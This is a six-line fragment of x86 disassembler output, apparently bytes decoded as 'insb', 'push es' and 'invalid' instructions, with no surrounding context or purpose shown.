insb byte es:[edi], dx
invalid
push es
push es
insb byte es:[edi], dx
invalid